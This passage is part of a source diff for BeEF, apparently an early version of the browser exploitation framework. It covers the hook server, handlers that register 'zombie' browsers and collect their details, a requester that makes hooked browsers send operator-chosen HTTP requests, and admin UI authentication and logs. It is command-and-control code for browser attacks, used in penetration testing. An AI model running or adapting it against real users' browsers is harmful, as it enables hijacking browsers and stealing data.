@url = "http://#{@configuration.get("http_host")}:#{@configuration.get("http_port")}"
|
||||
@root_dir = File.expand_path('../../../', __FILE__)
|
||||
@command_urls = {}
|
||||
end
|
||||
|
||||
#
|
||||
# Returns all server variables in a hash. Useful for Erubis when
|
||||
# generating the javascript for the command modules and hooking.
|
||||
#
|
||||
def to_h
|
||||
{
|
||||
'beef_version' => VERSION,
|
||||
'beef_url' => @url,
|
||||
'beef_root_dir' => @root_dir,
|
||||
'beef_host' => BeEF::Configuration.instance.get('http_host'),
|
||||
'beef_port' => BeEF::Configuration.instance.get('http_port'),
|
||||
'beef_dns' => BeEF::Configuration.instance.get('http_dns'),
|
||||
'beef_hook' => BeEF::Configuration.instance.get('hook_file')
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def register_command_url(command_path, uri)
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
def get_command_url(command_path)
|
||||
if not @command_urls[command_path].nil? then return @command_urls[command_path]; else return command_path; end
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the BeEF http server.
|
||||
#
|
||||
def start
|
||||
if not @http_server
|
||||
config = {}
|
||||
config[:BindAddress] = @configuration.get('http_host')
|
||||
config[:Port] = @configuration.get('http_port')
|
||||
config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
|
||||
config[:ServerName] = "BeEF " + VERSION
|
||||
config[:ServerSoftware] = "BeEF " + VERSION
|
||||
|
||||
@http_server = WEBrick::HTTPServer.new(config)
|
||||
|
||||
# registers the ui pages
|
||||
Dir["#{$root_dir}/lib/ui/**/*.rb"].each { |http_module|
|
||||
require http_module
|
||||
mod_name = File.basename http_module, '.rb'
|
||||
@http_server.mount "/ui/#{mod_name}", BeEF::HttpHandler, mod_name
|
||||
}
|
||||
|
||||
# registers the command module pages
|
||||
Dir["#{root_dir}/modules/commands/**/*.rb"].each { |command|
|
||||
command_class = (File.basename command, '.rb').capitalize
|
||||
command_file = (File.basename command, '.rb')+'.js'
|
||||
|
||||
#TODO: implement URL obfuscation at start up.
|
||||
@http_server.mount "/command/#{command_file}", BeEF::CommandHandler, command_class
|
||||
}
|
||||
|
||||
# registers the hook page
|
||||
@http_server.mount "#{@configuration.get("hook_file")}", BeEF::ZombieHandler
|
||||
|
||||
# registers the requester page
|
||||
@http_server.mount '/requester', BeEF::RequesterHandler
|
||||
|
||||
# registers the init page
|
||||
@http_server.mount '/init', BeEF::InitHandler
|
||||
|
||||
@http_server.mount '/ui/public', BeEF::PublicHandler, "#{root_dir}/public"
|
||||
@http_server.mount '/favicon.ico', WEBrick::HTTPServlet::FileHandler, "#{root_dir}#{@configuration.get("favicon_dir")}/#{@configuration.get("favicon_file_name")}"
|
||||
@http_server.mount '/demos/', WEBrick::HTTPServlet::FileHandler, "#{root_dir}/demos/"
|
||||
|
||||
trap("INT") { BeEF::HttpHookServer.instance.stop }
|
||||
|
||||
@http_server.start
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Stops the BeEF http server.
|
||||
#
|
||||
def stop;
|
||||
if @http_server
|
||||
@http_server.shutdown
|
||||
puts ' --[ BeEF server stopped'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Restarts the BeEF http server.
|
||||
#
|
||||
def restart; stop; start; end
|
||||
|
||||
|
||||
private
|
||||
@http_server
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
60
lib/server/inithandler.rb
Normal file
@@ -0,0 +1,60 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# The http handler that manages the return of the initial browser details.
|
||||
#
|
||||
class InitHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
HB = BeEF::Models::Zombie
|
||||
BD = BeEF::Models::BrowserDetails
|
||||
|
||||
#
|
||||
# Class constructor
|
||||
#
|
||||
def initialize(config)
|
||||
# we set up a mutex
|
||||
@guard = Mutex.new
|
||||
end
|
||||
|
||||
#
|
||||
# This function receives any POST http requests. We only
|
||||
# allow the hooked browser to send back results using POST.
|
||||
#
|
||||
def do_POST(request, response)
|
||||
|
||||
# validate hook session value
|
||||
session_id = request.query['BEEFHOOK'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "session_id is nil" if session_id.nil?
|
||||
hooked_browser = HB.first(:session => session_id, :has_init => false)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid beef session id: the hooked browser cannot be found in the database" if hooked_browser.nil?
|
||||
|
||||
request.query.keys.each{|key|
|
||||
next if key.eql? "command_id" or key.eql? "BEEFHOOK" # ignore these params
|
||||
|
||||
# keys and values from the request
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid init key" if Filter.has_non_printable_char?(key)
|
||||
b64_param = request.query[key]
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid init base64 value" if Filter.has_non_printable_char?(b64_param)
|
||||
escaped_param = CGI.unescapeHTML(b64_param)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid init escaped value" if Filter.has_non_printable_char?(escaped_param)
|
||||
param = Base64.decode64(escaped_param)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid init value" if Filter.has_non_printable_char?(param)
|
||||
|
||||
# store the returned browser details
|
||||
BD.set(session_id, key, param)
|
||||
}
|
||||
|
||||
# init details have been returned so set flag and save
|
||||
hooked_browser.has_init = true
|
||||
@guard.synchronize {
|
||||
hooked_browser.save
|
||||
}
|
||||
|
||||
response.body = ''
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
127
lib/server/modules/common.rb
Normal file
@@ -0,0 +1,127 @@
|
||||
module BeEF
|
||||
module Server
|
||||
module Modules
|
||||
|
||||
#
|
||||
# Purpose: avoid rewriting several times the same code.
|
||||
#
|
||||
module Common
|
||||
|
||||
#
|
||||
# Builds the default beefjs library (all default components of the library).
|
||||
#
|
||||
# @param: {Object} the hook session id
|
||||
# @param: {Boolean} if the framework is already loaded in the hooked browser
|
||||
#
|
||||
def build_beefjs!(hook_session_id, framework_loaded = false)
|
||||
|
||||
# set up values required to construct beefjs
|
||||
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
|
||||
beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files
|
||||
js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js)
|
||||
|
||||
# construct the beefjs string from file(s)
|
||||
js_sub_files.each {|js_sub_file_name|
|
||||
js_sub_file_abs_path = beefjs_path + js_sub_file_name # construct absolute path
|
||||
beefjs << (File.read(js_sub_file_abs_path) + "\n\n") # concat each js sub file
|
||||
}
|
||||
|
||||
# create the config for the hooked browser session
|
||||
config = BeEF::Configuration.instance
|
||||
hook_session_name = config.get('hook_session_name')
|
||||
hook_session_config = BeEF::HttpHookServer.instance.to_h
|
||||
hook_session_config['beef_hook_session_name'] = hook_session_name
|
||||
hook_session_config['beef_hook_session_id'] = hook_session_id
|
||||
|
||||
# populate place holders in the beefjs string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beefjs)
|
||||
@body << eruby.evaluate(hook_session_config)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Builds missing beefjs components.
|
||||
#
|
||||
# Ex: build_missing_beefjs_components(['beef.net.local', 'beef.net.requester'])
|
||||
#
|
||||
def build_missing_beefjs_components(beefjs_components)
|
||||
# if the component is of type String, we convert it to an array
|
||||
beefjs_components = [beefjs_components] if beefjs_components.is_a? String
|
||||
|
||||
# verifies that @beef_js_cmps is not nil to avoid bugs
|
||||
@beef_js_cmps = '' if @beef_js_cmps.nil?
|
||||
|
||||
beefjs_components.each {|c|
|
||||
next if @beef_js_cmps.include? c
|
||||
|
||||
# we generate the component's file path
|
||||
component_path = c
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js"
|
||||
|
||||
# exception in case the component cannot be found
|
||||
raise "Could not build the BeEF JS component: file does not exists" if not File.exists?(component_path)
|
||||
|
||||
# we output the component to the hooked browser
|
||||
@body << File.read(component_path)+"\n\n"
|
||||
|
||||
# finally we add the component to the list of components already generated so it does not
|
||||
# get generated numerous times.
|
||||
@beef_js_cmps += ",#{component_path}"
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Adds the command module instructions to the http response.
|
||||
#
|
||||
def add_command_instructions(command, zombie)
|
||||
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if zombie.session.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if command.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if command.command_module_id.nil?
|
||||
|
||||
# get the command module
|
||||
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module.path is nil" if command_module.path.nil?
|
||||
|
||||
klass = File.basename command_module.path, '.rb'
|
||||
|
||||
@guard.synchronize {
|
||||
command_module = BeEF::Modules::Commands.const_get(klass.capitalize).new
|
||||
command_module.command_id = command.id
|
||||
command_module.session_id = zombie.session
|
||||
command_module.build_datastore(command.data)
|
||||
command_module.pre_send
|
||||
|
||||
if not @beef_js_cmps.nil? and not command_module.beefjs_components.empty?
|
||||
command_module.beefjs_components.keys.each{|component|
|
||||
next if @beef_js_cmps.include? component
|
||||
#TODO: code that part so it uses the function build_missing_beefjs_components()
|
||||
|
||||
@body << File.read(command_module.beefjs_components[component])+"\n\n"
|
||||
@beef_js_cmps += ",#{component}"
|
||||
}
|
||||
end
|
||||
|
||||
@body << command_module.output + "\n\n"
|
||||
|
||||
puts "+ Hooked browser #{zombie.ip} sent command module #{klass}" if @cmd_opts[:verbose]
|
||||
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Executes every plugins in the framework.
|
||||
#
|
||||
def execute_plugins!
|
||||
#TODO
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
94
lib/server/modules/requester.rb
Normal file
@@ -0,0 +1,94 @@
|
||||
module BeEF
|
||||
module Server
|
||||
module Modules
|
||||
|
||||
#
|
||||
# Module containing all the functions to run the Requester.
|
||||
#
|
||||
# That module is dependent on 'Common'. Hence to use it,
|
||||
# your code also needs to include that module.
|
||||
#
|
||||
module Requester
|
||||
|
||||
#
|
||||
# Runs the Requester
|
||||
#
|
||||
def requester_run(zombie)
|
||||
# we generate all the requests and output them to the hooked browser
|
||||
output = []
|
||||
BeEF::Models::Http.all(:zombie_id => zombie.id, :has_ran => false).each {|h|
|
||||
output << requester_parse_db_request(h)
|
||||
}
|
||||
|
||||
# we stop here of our output in empty, that means they aren't any requests to send
|
||||
return if output.empty?
|
||||
|
||||
# we build the beefjs requester component
|
||||
build_missing_beefjs_components 'beef.net.requester'
|
||||
|
||||
# we send the command to perform the requests to the hooked browser
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
beef.net.requester.send(
|
||||
#{output.to_json}
|
||||
);
|
||||
});
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a HTTP DB Object into a BeEF JS command that
|
||||
# can be executed by the hooked browser.
|
||||
#
|
||||
def requester_parse_db_request(http_db_object)
|
||||
req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
|
||||
params = nil
|
||||
|
||||
begin
|
||||
s = StringIO.new http_db_object.request
|
||||
req.parse(s)
|
||||
rescue Exception => e
|
||||
# if an exception is caught, we display it in the console but do not
|
||||
# stong beef from executing. That is because we do not want to stop
|
||||
# attacking the hooked browser because of a malformed request.
|
||||
puts e.message
|
||||
puts e.backtrace
|
||||
return
|
||||
end
|
||||
|
||||
# Handling post requests
|
||||
if not req['content-length'].nil? and req.content_length > 0
|
||||
params = []
|
||||
# if the content length is invalid, webrick crashes. Hence we try to catch any exception
|
||||
# here and continue execution.
|
||||
begin
|
||||
req.query.keys.each{|k| params << "#{k}=#{req.query[k]}"}
|
||||
params = params.join '&'
|
||||
rescue Exception => e
|
||||
puts e.message
|
||||
puts e.backtrace
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# creating the request object
|
||||
http_request_object = {
|
||||
'id' => http_db_object.id,
|
||||
'method' => req.request_method,
|
||||
'host' => req.host,
|
||||
'port' => req.port,
|
||||
'params' => params,
|
||||
'uri' => req.unparsed_uri,
|
||||
'headers' => {}
|
||||
}
|
||||
|
||||
req.header.keys.each{|key| http_request_object['headers'][key] = req.header[key]}
|
||||
|
||||
http_request_object
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
21
lib/server/publichandler.rb
Normal file
@@ -0,0 +1,21 @@
|
||||
module BeEF
|
||||
|
||||
class PublicHandler < WEBrick::HTTPServlet::FileHandler
|
||||
|
||||
def do_GET(req, res)
|
||||
super
|
||||
|
||||
# set content types
|
||||
res.header['content-type']='text/html' # default content type for all pages
|
||||
res.header['content-type']='text/javascript' if req.path =~ /.json$/
|
||||
res.header['content-type']='text/javascript' if req.path =~ /.js$/
|
||||
res.header['content-type']='text/css' if req.path =~ /.css$/
|
||||
res.header['content-type']='image/png' if req.path =~ /.png$/
|
||||
res.header['content-type']='image/gif' if req.path =~ /.gif$/
|
||||
res.header['content-type']='text/xml' if req.path =~ /.xml$/
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
65
lib/server/requesterhandler.rb
Normal file
@@ -0,0 +1,65 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# The http handler that manages the Requester.
|
||||
#
|
||||
class RequesterHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
H = BeEF::Models::Http
|
||||
Z = BeEF::Models::Zombie
|
||||
|
||||
#
|
||||
# Class constructor
|
||||
#
|
||||
def initialize(config)
|
||||
# we set up a mutex
|
||||
@guard = Mutex.new
|
||||
end
|
||||
|
||||
#
|
||||
# This function receives any POST http requests. We only
|
||||
# allow the hooked browser to send back results using POST.
|
||||
#
|
||||
def do_POST(request, response)
|
||||
# validates the hook token
|
||||
beef_hook = request.query['BEEFHOOK'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil?
|
||||
|
||||
# validates the request id
|
||||
request_id = request.query['id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "request_id is null" if request_id.nil?
|
||||
|
||||
# validates that a hooked browser with the beef_hook token exists in the db
|
||||
zombie_db = Z.first(:session => beef_hook) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalide beef hook id: the hooked browser cannot be found in the database" if zombie_db.nil?
|
||||
|
||||
# validates that we have such a http request saved in the db
|
||||
http_db = H.first(:id => request_id.to_i, :zombie_id => zombie_db.id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
|
||||
|
||||
# validates that the http request has not be ran before
|
||||
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? true
|
||||
|
||||
# validates the body
|
||||
body = request.query['body'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "body is null" if body.nil?
|
||||
|
||||
@guard.synchronize {
|
||||
# save the results in the database
|
||||
http_db.response = body
|
||||
http_db.has_ran = true
|
||||
http_db.save
|
||||
}
|
||||
|
||||
response.set_no_cache()
|
||||
response.header['Content-Type'] = 'text/javascript'
|
||||
response.header['Access-Control-Allow-Origin'] = '*'
|
||||
response.header['Access-Control-Allow-Methods'] = 'POST'
|
||||
response.body = ''
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
115
lib/server/zombiehandler.rb
Normal file
@@ -0,0 +1,115 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This class handles connections from zombies to the framework.
|
||||
#
|
||||
class ZombieHandler < WEBrick::HTTPServlet::AbstractServlet
|
||||
|
||||
include BeEF::Server::Modules::Common
|
||||
include BeEF::Server::Modules::Requester
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
def initialize(config)
|
||||
@guard = Mutex.new
|
||||
@cmd_opts = BeEF::Console::CommandLine.parse
|
||||
@session = BeEF::UI::Session.instance
|
||||
end
|
||||
|
||||
#
|
||||
# This method processes the http requests sent by a zombie to the framework.
|
||||
# It will update the database to add or update the current zombie and deploy
|
||||
# some command modules or plugins.
|
||||
#
|
||||
def do_GET(request, response)
|
||||
@body = ''
|
||||
@params = request.query
|
||||
@request = request
|
||||
@response = response
|
||||
config = BeEF::Configuration.instance
|
||||
|
||||
# check source ip address of browser
|
||||
permitted_hooking_subnet = config.get('permitted_hooking_subnet')
|
||||
target_network = IPAddr.new(permitted_hooking_subnet)
|
||||
if not target_network.include?(request.peeraddr[3].to_s)
|
||||
BeEF::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.")
|
||||
@response.set_error(nil)
|
||||
return
|
||||
end
|
||||
|
||||
# get zombie if already hooked the framework
|
||||
hook_session_value = request.get_hook_session_value()
|
||||
zombie = BeEF::Models::Zombie.first(:session => hook_session_value) if not hook_session_value.nil?
|
||||
|
||||
if not zombie # is a new browser so set up the hook
|
||||
|
||||
# create the session id used to maintain the hooked session
|
||||
hook_session_value = BeEF::Crypto::secure_token
|
||||
|
||||
# create the structure repesenting the hooked browser
|
||||
zombie = BeEF::Models::Zombie.new(:ip => request.peeraddr[3], :session => hook_session_value)
|
||||
zombie.domain = request.get_referer_domain
|
||||
zombie.firstseen = Time.new.to_i
|
||||
zombie.has_init = false # set to true (in inithandler.rb) when the init values returned
|
||||
zombie.httpheaders = request.header.to_json
|
||||
zombie.save # the save needs to be conducted before any hooked browser specific logging
|
||||
|
||||
# add a log entry for the newly hooked browser
|
||||
log_zombie_domain = zombie.domain
|
||||
log_zombie_domain = "(blank)" if log_zombie_domain.nil? or log_zombie_domain.empty?
|
||||
BeEF::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}")
|
||||
|
||||
# check if the framework is already loaded in the browser - this check is based on the existance of the beef_js_cmp param
|
||||
# for example, when the db is reset and a hooked browser (with the framework loaded) will reconnect
|
||||
@beef_js_cmps = request.query['beef_js_cmps'] || nil
|
||||
framework_loaded = (not @beef_js_cmps.nil?)
|
||||
|
||||
# generate the instructions to hook the browser
|
||||
build_beefjs!(hook_session_value, framework_loaded)
|
||||
|
||||
end
|
||||
|
||||
# record the last poll from the browser
|
||||
zombie.lastseen = Time.new.to_i
|
||||
|
||||
zombie.count!
|
||||
zombie.save
|
||||
|
||||
execute_plugins!
|
||||
|
||||
# add all availible command module instructions to the response
|
||||
zombie_commands = BeEF::Models::Command.all(:zombie_id => zombie.id, :has_run => false)
|
||||
zombie_commands.each{|command| add_command_instructions(command, zombie)}
|
||||
|
||||
# add all availible autoloading command module instructions to the response
|
||||
autoloadings = BeEF::Models::Command.all(:autoloadings => { :in_use => true })
|
||||
autoloadings.each {|command| add_command_instructions(command, zombie)}
|
||||
|
||||
# executes the requester
|
||||
requester_run(zombie)
|
||||
|
||||
# set response headers and body
|
||||
response.set_no_cache
|
||||
response.header['Content-Type'] = 'text/javascript'
|
||||
response.header['Access-Control-Allow-Origin'] = '*'
|
||||
response.header['Access-Control-Allow-Methods'] = 'POST, GET'
|
||||
response.body = @body
|
||||
|
||||
end
|
||||
|
||||
alias do_POST do_GET
|
||||
|
||||
private
|
||||
|
||||
# Object representing the HTTP request
|
||||
@request
|
||||
|
||||
# Object representing the HTTP response
|
||||
@response
|
||||
|
||||
# A string containing the list of BeEF components active in the hooked browser
|
||||
@beef_js_cmps
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
137
lib/ui/authentication/authentication.rb
Normal file
@@ -0,0 +1,137 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
# The authentication web page for BeEF.
|
||||
#
|
||||
class Authentication < BeEF::HttpController
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'index' => '/',
|
||||
'login' => '/login',
|
||||
'logout' => '/logout'
|
||||
}
|
||||
})
|
||||
|
||||
@session = BeEF::UI::Session.instance
|
||||
end
|
||||
|
||||
# Function managing the index web page
|
||||
def index
|
||||
@headers['Content-Type']='text/html; charset=UTF-8'
|
||||
end
|
||||
|
||||
#
|
||||
# Function managing the login
|
||||
#
|
||||
def login
|
||||
username = @params['username-cfrm'] || ''
|
||||
password = @params['password-cfrm'] || ''
|
||||
config = BeEF::Configuration.instance
|
||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
||||
ua_ip = @request.peeraddr[3] # get client ip address
|
||||
@body = '{ success : false }' # attempt to fail closed
|
||||
|
||||
# check if source IP address is permited to authenticate
|
||||
if not permited_source?(ua_ip)
|
||||
BeEF::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.")
|
||||
return
|
||||
end
|
||||
|
||||
# check if under brute force attack
|
||||
time = Time.new
|
||||
if not timeout?(time)
|
||||
@session.set_auth_timestamp(time)
|
||||
return
|
||||
end
|
||||
|
||||
# check username and password
|
||||
if not (username.eql? config.get('ui_username') and password.eql? config.get('ui_password') )
|
||||
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.")
|
||||
return
|
||||
end
|
||||
|
||||
# establish an authenticated session
|
||||
|
||||
# set up session and set it logged in
|
||||
@session.set_logged_in(ua_ip)
|
||||
|
||||
# create session cookie
|
||||
session_cookie_name = config.get('session_cookie_name') # get session cookie name
|
||||
session_cookie = WEBrick::Cookie.new(session_cookie_name, @session.get_id)
|
||||
session_cookie.path = '/'
|
||||
session_cookie.httponly = true
|
||||
|
||||
# add session cookie to response header
|
||||
@headers['Set-Cookie'] = session_cookie.to_s
|
||||
|
||||
# TODO add escape username and password submitted
|
||||
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.")
|
||||
@body = "{ success : true }"
|
||||
end
|
||||
|
||||
#
|
||||
# Function managing the logout
|
||||
#
|
||||
def logout
|
||||
|
||||
# test if session is unauth'd
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid nonce" if not @session.valid_nonce?(@request)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid session" if not @session.valid_session?(@request)
|
||||
|
||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
||||
|
||||
# set the session to be log out
|
||||
@session.set_logged_out
|
||||
|
||||
# clean up UA and expire the session cookie
|
||||
config = BeEF::Configuration.instance
|
||||
session_cookie_name = config.get('session_cookie_name') # get session cookie name
|
||||
session_cookie = WEBrick::Cookie.new(session_cookie_name, "")
|
||||
session_cookie.path = '/'
|
||||
session_cookie.expires = Time.now
|
||||
session_cookie.httponly = true
|
||||
|
||||
# add (expired) session cookie to response header
|
||||
@headers['Set-Cookie'] = session_cookie.to_s
|
||||
|
||||
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.addr} has successfuly logged out.")
|
||||
@body = "{ success : true }"
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Check the UI browser source IP is within the permitted subnet
|
||||
#
|
||||
def permited_source?(ip)
|
||||
# get permitted subnet
|
||||
config = BeEF::Configuration.instance
|
||||
permitted_ui_subnet = config.get('permitted_ui_subnet')
|
||||
target_network = IPAddr.new(permitted_ui_subnet)
|
||||
|
||||
# test if ip within subnet
|
||||
return target_network.include?(ip)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute Force Mitigation
|
||||
# Only one login request per login_fail_delay seconds
|
||||
#
|
||||
def timeout?(time)
|
||||
config = BeEF::Configuration.instance
|
||||
login_fail_delay = config.get('login_fail_delay') # get fail delay
|
||||
|
||||
# test if the last login attempt was less then login_fail_delay seconds
|
||||
time - @session.get_auth_timestamp > login_fail_delay.to_i
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
36
lib/ui/authentication/index.html
Normal file
@@ -0,0 +1,36 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>BeEF Authentication</title>
|
||||
|
||||
<%= script_tag 'ext-base.js' %>
|
||||
<%= script_tag 'ext-all.js' %>
|
||||
<%= script_tag 'ui/authentication.js' %>
|
||||
|
||||
<%= stylesheet_tag 'ext-all.css' %>
|
||||
|
||||
<style>
|
||||
#centered {
|
||||
left:50%;
|
||||
top:50%;
|
||||
margin:-120px 0 0 -200px;
|
||||
position:fixed;
|
||||
}
|
||||
</style>
|
||||
|
||||
<!--[if IE]>
|
||||
<style>
|
||||
#centered {
|
||||
position:absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
margin-top: -120px;
|
||||
margin-left: -200px;
|
||||
}
|
||||
</style>
|
||||
<![endif]-->
|
||||
</head>
|
||||
|
||||
<body bgcolor="#DEE7F6">
|
||||
<div id="centered"></div>
|
||||
</body>
|
||||
</html>
|
||||
85
lib/ui/logs/logs.rb
Normal file
@@ -0,0 +1,85 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
class Logs < BeEF::HttpController
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'select_all_logs' => '/all.json',
|
||||
'select_zombie_logs' => '/zombie.json'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Selects logs in the database and returns them in a JSON format.
|
||||
def select_all_logs
|
||||
|
||||
# get params
|
||||
start = @params['start'].to_i || 0
|
||||
limit = @params['limit'].to_i || 25
|
||||
raise WEBrick::HTTPStatus::BadRequest, "start less than 0" if start < 0
|
||||
raise WEBrick::HTTPStatus::BadRequest, "limit less than 1" if limit < 1
|
||||
raise WEBrick::HTTPStatus::BadRequest, "limit less than or equal to start" if limit <= start
|
||||
|
||||
# get log
|
||||
log = BeEF::Models::Log.all(:offset => start, :limit => limit, :order => [:date.desc])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
|
||||
|
||||
# format log
|
||||
@body = logs2json(log)
|
||||
|
||||
end
|
||||
|
||||
# Selects the logs for a zombie
|
||||
def select_zombie_logs
|
||||
|
||||
# get params
|
||||
session = @params['session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "session is nil" if session.nil?
|
||||
start = @params['start'].to_i || 0
|
||||
limit = @params['limit'].to_i || 25
|
||||
raise WEBrick::HTTPStatus::BadRequest, "start less than 0" if start < 0
|
||||
raise WEBrick::HTTPStatus::BadRequest, "limit less than 1" if limit < 1
|
||||
raise WEBrick::HTTPStatus::BadRequest, "limit less than or equal to start" if limit <= start
|
||||
|
||||
zombie = BeEF::Models::Zombie.first(:session => session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
|
||||
zombie_id = zombie.id
|
||||
|
||||
# get log
|
||||
log = BeEF::Models::Log.all(:offset => start, :limit => limit, :zombie_id => zombie_id, :order => [:date.desc])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
|
||||
|
||||
# format log
|
||||
@body = logs2json(log)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Returns a list of logs in JSON format.
|
||||
def logs2json(logs)
|
||||
logs_json = []
|
||||
count = logs.length
|
||||
output = '{success: false}'
|
||||
|
||||
logs.each do |log|
|
||||
logs_json << {
|
||||
'id' => log.id.to_i,
|
||||
'date' => log.date.to_s,
|
||||
'event' => log.event.to_s,
|
||||
'type' => log.type.to_s
|
||||
}
|
||||
end
|
||||
|
||||
# format output
|
||||
output = {'success' => 'true', 'count' => count, 'logs' => logs_json}.to_json if not logs_json.empty?
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
356
lib/ui/modules/modules.rb
Normal file
@@ -0,0 +1,356 @@
|
||||
module BeEF
|
||||
module UI
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Modules < BeEF::HttpController
|
||||
|
||||
BD = BeEF::Models::BrowserDetails
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'select_all_command_modules' => '/select/commandmodules/all.json',
|
||||
'select_command_modules_tree' => '/select/commandmodules/tree.json',
|
||||
'select_command_module' => '/select/commandmodule.json',
|
||||
'select_command' => '/select/command.json',
|
||||
'select_command_results' => '/select/command_results.json',
|
||||
'select_zombie_summary' => '/select/zombie_summary.json',
|
||||
'select_command_module_commands' => '/commandmodule/commands.json',
|
||||
'attach_command_module' => '/commandmodule/new',
|
||||
'reexecute_command_module' => '/commandmodule/reexecute'
|
||||
}
|
||||
})
|
||||
|
||||
@session = BeEF::UI::Session.instance
|
||||
end
|
||||
|
||||
# Returns a JSON array containing the summary for a selected zombie.
|
||||
def select_zombie_summary
|
||||
|
||||
# get the zombie
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
zombie = BeEF::Models::Zombie.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
|
||||
# set and add the return values for the browser name
|
||||
browser_name = BD.get(zombie_session, 'BrowserName')
|
||||
